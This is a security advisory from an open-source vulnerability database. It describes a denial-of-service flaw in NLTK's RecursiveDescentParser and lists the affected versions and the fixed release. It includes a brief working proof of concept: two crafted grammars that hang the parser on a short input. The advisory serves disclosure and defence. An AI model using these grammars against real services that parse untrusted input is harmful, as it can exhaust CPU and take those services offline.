PYSEC-2026-3869

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/nltk/PYSEC-2026-3869.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-3869
Aliases
Published
2026-09-10T09:44:59Z
Modified
2026-09-10T12:15:10Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N CVSS Calculator
Summary
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Details

nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.

Proof of concept

Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:

from nltk import CFG
from nltk.parse import RecursiveDescentParser

# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

Impact

An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.

Sibling

The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.

References

Affected packages

PyPI / nltk

Package

Name
nltk
View open source insights on deps.dev
Purl
pkg:pypi/nltk

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.10.3

Affected versions

2.*
2.0.1rc2-git
2.0b4
2.0b5
2.0b6
2.0b7
2.0b8
2.0b9
2.0.1rc1
2.0.1rc3
2.0.1rc4
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
0.*
0.8
0.9
0.9.3
0.9.4
0.9.5
0.9.6
0.9.7
0.9.8
0.9.9
3.*
3.0.0b1
3.0.0b2
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.1
3.2
3.2.1
3.2.2
3.2.3
3.2.4
3.2.5
3.3
3.4
3.4.1
3.4.2
3.4.3
3.4.4
3.4.5
3.5b1
3.5
3.6
3.6.1
3.6.2
3.6.3
3.6.4
3.6.5
3.6.6
3.6.7
3.7
3.8
3.8.1
3.9b1
3.9
3.9.1
3.9.2
3.9.3
3.9.4
3.10.0
3.10.1
3.10.2

Database specific

source 
"https://github.com/pypa/advisory-database/blob/main/vulns/nltk/PYSEC-2026-3869.yaml"